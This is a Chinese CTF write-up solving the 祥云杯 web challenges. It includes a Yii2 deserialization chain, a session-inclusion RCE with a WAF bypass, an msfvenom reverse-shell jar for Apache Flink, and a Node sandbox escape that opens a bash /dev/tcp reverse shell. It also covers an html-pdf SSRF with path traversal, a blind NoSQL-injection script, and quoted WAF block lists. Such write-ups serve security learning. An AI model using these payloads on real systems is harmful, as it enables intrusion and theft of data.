前方高能
上周和队友一起AK了祥云杯的Web题目,
感觉这次比赛Web题质量还不错!
自己做了Node.Js、Typescript和一个PHP,
下面是全部的WP:
ezyii
给了源码,入口就是反序列化点,打了一会儿之前爆出的链子,没成功,找到这篇文章:《yii 2.0.42 最新反序列化利用全集》(https://xz.aliyun.com/t/9948),参照文章直接构造poc:
<?php
namespace Codeception\Extension{
use Faker\UniqueGenerator;
class RunProcess{
private $processes = [];
public function __construct(){
$this->processes[]=new UniqueGenerator();
}
}
echo urlencode(serialize(new RunProcess()));
}
namespace Faker{
use Symfony\Component\String\LazyString;
class UniqueGenerator
{
protected $generator;
protected $maxRetries;
public function __construct()
{
$a = new LazyString();
$this->generator = new DefaultGenerator($a);
$this->maxRetries = 2;
}
}
class DefaultGenerator
{
protected $default;
public function __construct($default = null)
{
$this->default = $default;
}
}
}
namespace Symfony\Component\String{
class LazyString{
private $value;
public function __construct(){
include("closure/autoload.php");
$a = function(){phpinfo();};
$a = \Opis\Closure\serialize($a);
$b = unserialize($a);
$this->value=$b;
}
}
}
安 全 检 测 平 台
扫描到.login.php.swp
<?php
//error_reporting(0);
ob_start();
session_start();
function check3($username){
$pattern = "\/\*|\*|\.\.\/|\.\/|<|>|\?|\*|load_file|outfile|dumpfile|sub|hex|where";
$pattern .= "|file_put_content|file_get_content|fwrite|curl|system|eval|assert";
$pattern .= "|select|insert|update|delete|load_file|into outfile|drop";
$pattern .="|passthru|exec|system|chroot|scandir|chgrp|chown|shell_exec|proc_open|proc_get_status|popen|ini_alter|ini_restore";
$pattern .="|`|openlog|syslog|readlink|symlink|popepassthru|stream_socket_server|assert|pcntl_exec|http|.php|.ph|\@|:\/\/|flag";
$pattern .="|file|dict|gopher";
$vpattern = explode("|",$pattern);
foreach($vpattern as $value){
if (preg_match( "/$value/i", $username )){
echo "检测到恶意字符";
exit(0);
}
}
}
$username=file_get_contents("php://input");
check3($username);
$username=json_decode($username)->username;
if($username){
$_SESSION['user1']=$username;
Header("Location:./index.php");
ob_end_flush();
exit(0);
}
?>
然后还扫到了/admin目录,返回403,登录后有一个网站扫描的接口
这里就能SSRF了,猜测需要用这里去访问/admin
然后输入http://127.0.0.1/admin发现存在目录泄露,得到include123.php,输入http://127.0.0.1/admin/include123.php得到源码:
<?php
$u=$_GET['u'];
$pattern = "\/\*|\*|\.\.\/|\.\/|load_file|outfile|dumpfile|sub|hex|where";
$pattern .= "|file_put_content|file_get_content|fwrite|curl|system|eval|assert";
$pattern .="|passthru|exec|system|chroot|scandir|chgrp|chown|shell_exec|proc_open|proc_get_status|popen|ini_alter|ini_restore";
$pattern .="|`|openlog|syslog|readlink|symlink|popepassthru|stream_socket_server|assert|pcntl_exec|http|.php|.ph|.log|\@|:\/\/|flag|access|error|stdout|stderr";
$pattern .="|file|dict|gopher";
//累了累了,饮茶先
$vpattern = explode("|",$pattern);
foreach($vpattern as $value){
if (preg_match( "/$value/i", $u )){
echo "检测到恶意字符";
exit(0);
}
}
include($u);
show_source(__FILE__);
?>
这里就是文件包含了,过滤了很多东西,所以不能直接读flag,但可以通过包含session文件来RCE。把username设置为命令执行的payload
<?php system('ls /');?>
但存在waf,因为登录点是json格式,所以直接unicode绕过,最终payload
POST /login.php HTTP/1.1
Host: eci-2ze7cuv076c4n4xyqqsp.cloudeci1.ichunqiu.com
Content-Length: 276
Accept: */*
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.159 Safari/537.36
Content-Type: application/json; charset=UTF-8
Origin: http://eci-2ze7cuv076c4n4xyqqsp.cloudeci1.ichunqiu.com
Referer: http://eci-2ze7cuv076c4n4xyqqsp.cloudeci1.ichunqiu.com/login.php
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7
Cookie: UM_distinctid=178bbe1ab19c4b-03b55de3f08a36-336b7c08-13c680-178bbe1ab1ab5c; chkphone=acWxNpxhQpDiAchhNuSnEqyiQuDIO0O0O; Hm_lvt_2d0601bd28de7d49818249cf35d95943=1629357609; Hm_lpvt_2d0601bd28de7d49818249cf35d95943=1629357972; PHPSESSID=318269ebed54edffb9a8d42ed5538634; __jsluid_h=03d101ea5a6a263b34ca7911262e4fb6
Connection: close
{"username":"\u003c\u003f\u0070\u0068\u0070\u0020\u0065\u0063\u0068\u006f\u0020\u0066\u0069\u006c\u0065\u005f\u0067\u0065\u0074\u005f\u0063\u006f\u006e\u0074\u0065\u006e\u0074\u0073\u0028\u0027\u002f\u0066\u006c\u0061\u0067\u0027\u0029\u003b\u0020\u003f\u003e","password":"1"}
然后在SSRF点输入http://127.0.0.1/admin/include123.php?u=/tmp/sess_0a591f733185be45367ca406158a5775包含session即可
层 层 穿 透
访问发现了一个apache Flink,搜一下发现存在RCE(https://zhuanlan.zhihu.com/p/124948581)。上传一个jar包即可反弹shell
msfvenom -p java/meterpreter/reverse_tcp LHOST=ip LPORT=port -f jar > poc.jar
跟着流出来即可收到shell,挂个代理,然后就是内网阶段。给了内网服务的源码,看了一下pom.xml,发现了很多jar包,有cc、shirt、fastjson等
这里发现FastJson
需要成为admin,源码种提供了密码
然后还有字符长度的限制,尝试用idap绕一下发现没打通。可能不出网,找到一个c3p0(https://github.com/depycode/fastjson-c3p0),下载脚本直接打即可。
Crawler_z
给了附件
routes/index.js没啥好说的,signin和signup功能,然后看到登录后的/user路由,写在了routes/user.js 这里能更新个人信息
这里直接对user.bucket发起请求
看看是怎么请求的
crawler.js
直到找到这篇文章(https://ha.cker.in/index.php/Article/13563)
zombie这个库如果能控制目标那么就能实现RCE。那目标也清晰了,就是更改bucket为自己VPS恶意地址。这里还有一段check
绕过方法:随便注册一个账号,然后来到/user/profile
这里直接自带了一个Bucket,先点击Update,然后得到token
/user/verify?token=0afe5b79dcf162297fd0d3abecb31cb2fce3a79a1cfa2d92a663c3a68a278cba
然后修改自带payload为vps,我这里是http://1.116.153.158/ttpfx/1.html?a=oss-cn-beijing.ichunqiu.com 抓包,发到Repeater进行请求。
然后再get请求刚才得到的token地址即可完成更新。更新后,将vps的地址存放如下payload:
<script>c='constructor';this[c][c]("c='constructor';require=this[c][c]('return process')().mainModule.require;var sync=require('child_process').spawnSync; var ls = sync('bash', ['-c','bash -i >& /dev/tcp/ip/port 0>&1'],); console.log(ls.output.toString());")()</script>
然后访问/user/bucket即可触发payload反弹shell,执行根目录/readflag即可得到flag。
Secrets_Of_Admin
同样给了源码,是typescript,先来了解一下大概的架构
routes/index.ts
这里是登录
下面的是成为admin后的操作
router.post('/admin', checkAuth, (req, res, next) => {
let { content } = req.body;
if ( content == '' || content.includes('<') || content.includes('>') || content.includes('/') || content.includes('script') || content.includes('on')){
//if(false){
// even admin can't be trusted right ? :)
return res.render('admin', { error: 'Forbidden word '});
} else {
let template = `
<html>
<meta charset="utf8">
<title>Create your own pdfs</title>
<body>
<h3>${content}</h3>
</body>
</html>
`
try {
const filename = `${uuid()}.pdf`
pdf.create(template, {
"format": "Letter",
"orientation": "portrait",
"border": "0",
"type": "pdf",
"renderDelay": 3000,
"timeout": 5000
}).toFile(`./files/${filename}`, async (err, _) => {
if (err) next(createError(500));
const checksum = await getCheckSum(filename);
await DB.Create('superuser', filename, checksum)
return res.render('admin', { message : `Your pdf is successfully saved You know how to download it right?`});
});
} catch (err) {
return res.render('admin', { error : 'Failed to generate pdf '})
}
}
});
只要成为了admin就可以写一个PDF文件,这个PDF的名字是随机的,存放目录也不可控,这里需要本地才能请求,可以向db insert一个数据
database.ts
insert的三个字段各自代表什么意思后面说。这里是根据请求id向数据库查询文件名,然后读取文件返回文件。
database.ts
而这里是怎么返回文件的呢?由POST /admin可以看到,这里会将创建的PDF生成一个随机数checksum,然后将生成的文件名与checksum绑定在一起放到数据库,数据库大概执行的语句为
INSERT INTO files(username, filename, checksum) VALUES('superuser', 'xxxxxxxx.pdf', 'aaaaaaaaa');
这样,就只需要向数据库发送ID即可返回相应文件名,即请求/api/files/idxxx得到idxxx,然后去数据库查询是否有idxxx绑定的文件名,有就返回文件名并读取文件内容,没有就返回false。从这里也可以回看到/api/files,中间的create我们对username、filename、checksum完全可控,所以能使用这个API就代表我们能自己控制filename去绑定自定义的checksum,然后访问获取到内容。
题目结构了解完了,开始做题,先成为admin,源码中写了admin和password。
直接登录即可
这里就是POST /admin了,在这里卡了一会儿,想到既然有127.0.0.1那肯定要找个SSRF,但通看全场都没能让我发起SSRF的地方,然后查了一下,找到了html-pdf这个依赖库的洞(https://github.com/marcbachmann/node-html-pdf/issues/530)
这个漏洞能直接读文件。本地测了一下,读不了,应该是做了什么限制,不做跟踪了,就算能读也没用,生成的pdf id是随机的,我们完全不知道。所以拿不到内容,最重要的是,它是以superuser的身份进行存储。
本地搭建环境能伪造superuser,但这里完全绕不过
所以成为superuser这一思路是错的,继续SSRF,想到exp既然能XHR读文件,你都能file协议了还不能http协议么?于是将写PDF的内容检测语句删掉,然后测了<img src="http://106.15.121.121:1234/1.jpg">,服务器直接收到了数据包,SSRF get! 那现在就是绕过内容检测语句了
过滤了尖括号,注入点又不处于标签中<h3>${content}</h3>,思路走偏了,只想在HTML的层面进行绕过,测了很久,试了HTML实体转义、utf-8、URL Decode,最后走投无路尝试去绕.includes()方法,一搜就出来了。
来自404师傅的博客
数组能绕,根据database.ts的语句
尝试构造content[]=<img src="http://127.0.0.1:8888/api/files?username=admin&filename=flag&checksum=2333" (直接把我本地环境打退出了,远程来一发,直接给我容器干没了)
本地报了个奇奇怪怪的sqlite的错误,懒得去跟了,猜测是不允许我直接读flag
又跟了一下
直接拼接目录?尝试目录穿越,可以成功读取到/etc/passwd,然后试一下用目录穿越读flag。
最终payload
POST /admin HTTP/1.1
Host: eci-2zefrwyu3gc9kn6aysn2.cloudeci1.ichunqiu.com:8888
Content-Length: 11
Pragma: no-cache
Cache-Control: no-cache
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.159 Safari/537.36
Origin: http://eci-2zefrwyu3gc9kn6aysn2.cloudeci1.ichunqiu.com:8888
Content-Type: application/x-www-form-urlencoded
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://eci-2zefrwyu3gc9kn6aysn2.cloudeci1.ichunqiu.com:8888/admin
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7
Cookie: UM_distinctid=178bbe1ab19c4b-03b55de3f08a36-336b7c08-13c680-178bbe1ab1ab5c; chkphone=acWxNpxhQpDiAchhNuSnEqyiQuDIO0O0O; Hm_lvt_2d0601bd28de7d49818249cf35d95943=1629357609; Hm_lpvt_2d0601bd28de7d49818249cf35d95943=1629357972; __jsluid_h=38223de3fca96ed1e1b5459037f7c502; token=s%3Aj%3A%7B%22username%22%3A%22admin%22%2C%22files%22%3A%5B%5D%2C%22isAdmin%22%3Atrue%7D.F56WSi1msokS7QwqhYWcJm%2FBhe1UiZ%2FxOtKnM%2BaehVU
Connection: close
content[]=<img%20src="http://127.0.0.1:8888/api/files?username=admin%26filename=/../files/flag%26checksum=2333">
然后访问/api/files/2333即可下载flag
总结流程
http-pdf SSRF ---> /api/files目录穿越绑定文件 ---> 访问id获取flag
PackageManager2021
非预期,看题面就知道是xss,但无意发现了sqli ???
#b!@#$d5dh47jyfz#098crw*w
import requests
passwd = ""
for i in range(0,50):
for j in range(32,127):
burp0_url = "http://47.104.108.80:8888/auth"
burp0_cookies = {"session": "s%3A48cl_lUReimQytHn7toEfeafbGGIpWXB.YBzs%2B3EcrGrFNvfOoe0wEbmm2NSA%2B4tVAlsYy7eRoIE"}
burp0_headers = {"Cache-Control": "max-age=0", "Upgrade-Insecure-Requests": "1", "Origin": "http://47.104.108.80:8888", "Content-Type": "application/x-www-form-urlencoded", "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.159 Safari/537.36", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9", "Referer": "http://47.104.108.80:8888/auth", "Accept-Encoding": "gzip, deflate", "Accept-Language": "zh-CN,zh;q=0.9", "Connection": "close"}
burp0_data = {"_csrf": "kATaxQjv-Uka6Hw6X85iWgBuhyTxqgy7pvVA", "token": "cf87efe0c36a12aec113cd7982043573\"||(this.username==\"admin\"&&this.password[{}]==\"{}\")||\"".format(i,chr(j))}
res=requests.post(burp0_url, headers=burp0_headers, cookies=burp0_cookies, data=burp0_data,allow_redirects=False)
# print(str(i) + ":" + chr(j))
if res.status_code == 302:
passwd += chr(j)
print(passwd)
直接注出admin密码,登录即可看到flag!